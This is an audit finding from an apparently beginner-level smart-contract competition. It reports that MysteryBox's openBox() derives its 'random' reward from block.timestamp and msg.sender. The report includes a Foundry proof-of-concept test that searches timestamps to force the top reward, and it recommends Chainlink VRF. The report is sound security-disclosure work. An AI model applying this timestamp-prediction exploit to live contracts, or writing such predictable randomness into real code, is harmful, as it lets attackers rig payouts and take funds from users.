Mystery Box

First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: medium
Valid

Insecure Randomness Vulnerability in openBox() Function

Summary

The openBox function in the MysteryBox contract relies block.timestamp for calculating the random value. This approach is insecure as the block timestamp is both predictable and manipulatable.

Vulnerability Details

Relevant code - Randomness

The openBox function generates randomness using two predictable values: block.timestamp and msg.sender. An attacker can exploit this by calculating the same hash in advance. By testing various block.timestamp values, they can determine when the most valuable rewards will be triggered. Additionally, by monitoring the mempool, the attacker can observe pending transactions and compute the potential outcomes before they are mined, allowing them to know market impacts beforehand and take advantage.

uint256 randomValue = uint256(keccak256(abi.encodePacked(block.timestamp, msg.sender))) % 100;

POC

In existing test suite, add following test

function testOpenBoxRandomness() public {
vm.deal(user1, 1 ether);
vm.startPrank(user1);
mysteryBox.buyBox{value: 0.1 ether}();
uint256 randomValue;
// Trying values until we find Gold Coin(99)
for (uint256 i ; i < 100 ; i++){
vm.warp(i);
randomValue = uint256(keccak256(abi.encodePacked(block.timestamp, user1))) % 100;
if (randomValue == 99){
break;
}
}
mysteryBox.openBox();
assertEq(mysteryBox.boxesOwned(user1), 0);
MysteryBox.Reward[] memory rewards = mysteryBox.getRewards();
assertEq(rewards.length, 1);
assertEq(rewards[0].name , "Gold Coin");
vm.stopPrank();
}

Impact

By eliminating the “luck” factor associated with reward distribution, attackers can effectively choose any reward they want.

Tools Used

Manual Review, Foundry

Recommendations

Use ChainLink's VRF to get random values.

- uint256 randomValue = uint256(keccak256(abi.encodePacked(block.timestamp, msg.sender))) % 100;
+ uint256 randomValue = s_VrfRandomWords[0] % 100;
Updates

Appeal created

inallhonesty Lead Judge 11 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Randomness

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.